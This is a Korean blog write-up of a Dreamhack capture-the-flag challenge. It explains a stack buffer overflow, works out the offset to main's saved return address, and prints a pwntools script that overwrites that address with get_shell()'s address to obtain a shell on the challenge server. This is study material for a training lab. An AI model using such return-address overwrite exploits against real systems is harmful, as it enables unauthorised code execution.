[dreamhack] Return Address Overwrite

chwrld·2023년 8월 30일
0

dreamhack

목록 보기
7/19

이 문제에서 찾아야할 것이 3개 있다.

  1. main 함수의 ret값을 갖고 있는 주소
  2. get_shell() 함수의 주소 값
  3. 스택에 buf 주소부터 main 함수가 반환하는 값까지 거리

1. main 함수의 ret값을 갖고 있는 주소


main에서 0x7ffff7c29d90 으로 ret한다.

즉, 스택 rsp에 이 주소값이 저장되어 있다.

0x7fffffffdf18이 주소이며 우리는 buf overflow를 이용해 get_shell() 함수의 주소로 이것을 바꾸면 된다.


2. get_shell() 함수의 주소값


손 쉽게 구할 수 있다.


3. 스택에 buf 주소부터 main 함수가 반환하는 값까지 거리


scanf 함수에서 2개의 인자를 받는다.
하나는 포맷스트링[%s]과 우리의 입력값.
vararg 은 우리의 입력값이 담기는 buf 주소이다.
0x7fffffffdee0 에서 0x7fffffffdf18 까지 버퍼를 채우고 get_shell() 함수의 주소값을 넣으면 된다.


payload

0x7fffffffdee0 - 0x7fffffffdf18 = -56
스택은 낮은 주소가 위라고 가정할때 아래부터 쌓인다.
그래서 마이너스 값이 나왔다.
우리는 버퍼를 56바이트 채운 뒤에 get_shell() 주소를 삽입할 것이다.

from pwn import *

p = remote('host3.dreamhack.games',12973)

payload = b'A'*0x30 + b'B'*0x8 + p64(0x4006aa)

p.sendlineafter('Input: ', payload)

p.interactive()

A가 차지할 0x30바이트는 버퍼의 크기이다.
근데 이상하다. 문제에는 buf의 크기가 0x28바이트이다.


스택을 보면 rsp와 rbp의 차이가 0x30바이트이다. 즉 48바이트의 스택프레임이 형성되었다. 왜 그럴까?

https://dreamhack.io/forum/qna/1619
stack align = 성능 최적화 이유 때문이라고 한다.

윈도우에서 payload를 실행하려 했으나 p64()가 윈도우에서 바이트 코드로 제대로 변환되지 않아서 오류가 발생한다. 리눅스에서 실행한다.

스택에 대한 전반적인 이해가 있어야 풀 수 있는 문제였다.
함수가 인자를 보낼때 스택에서 어떤 변화가 일어나는지 main 함수의 리턴 값을 어떻게 바꿀 수 있을지.
코드로 쓸때 어떤 오류가 나고 어떻게 코드로 옮길지.
아직 write up을 쓰면서도 헷갈려서 스택에 대한 공부가 더 필요할 것 같다.

profile
BoB 13th 최강포린이👮

0개의 댓글